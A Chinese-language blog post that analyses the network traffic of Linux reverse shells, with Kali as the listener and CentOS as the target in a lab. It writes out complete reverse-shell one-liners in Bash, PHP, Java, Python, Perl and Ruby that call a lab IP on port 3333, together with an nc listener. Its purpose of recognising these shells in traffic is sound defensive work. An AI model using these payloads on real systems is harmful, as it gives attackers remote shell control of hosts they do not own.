反弹shell(reverse shell)是控制端监听某端口,受控端发起连接到控制端。互联网上有大量关于反弹shell的资料,这里不再论述,本文只是分析一下linux系统下各种反弹shell的流量。
控制端:kali
受控端:centos7
控制端开启nc监听命令:nc -lvp 3333
0x01 Bash反弹shell
/bin/bash -i >& /dev/tcp/192.168.1.120/3333 0>&1
受控端反弹shell到控制端,会传递[root@localhost ~]#
字符串给控制端,控制端在后输入shell命令即可执行。
0x02 PHP反弹shell
php -r '$sock=fsockopen("192.168.1.120",3333);exec("/bin/sh -i <&3 >&3 2>&3");'
受控端反弹shell到控制端,会传递sh-4.2#
字符串给受控端,4.2指的是bash的版本。
0x03 Java反弹shell
public class Revs {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.187/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
把该代码保存为Revs.java
文件
javac Revs.java
java Revs
java使用Runtime.getRuntime().exec()调用服务器命令进行反弹shell。
0x04 Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.187",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python反弹shell的流量与php反弹shell的流量一致,会传递sh-4.2#
字符串给控制端。
0x05 Perl反弹shell
perl -e 'use Socket;$i="192.168.1.120";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl也是脚本语言,调用系统socket进行反弹shell,传输sh-4.2#
字符串给控制端。
0x06 Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.120","3333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
ruby不需要调用系统的/bin/bash进行反弹shell,所以流量中只有执行的命令。
0x07 总结
这里只是简要分析了几种反弹shell的流量,一般脚本语言调用/bin/bash进行反弹shell时,流量中会出现类似sh-4.2#
、[root@localhost ~]#
字符串+命令的组合,如果脚本直接利用系统TCPSocket,则只会出现命令在流量中。
参考资料:
https://www.cnblogs.com/xiaozi/p/13493010.html
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/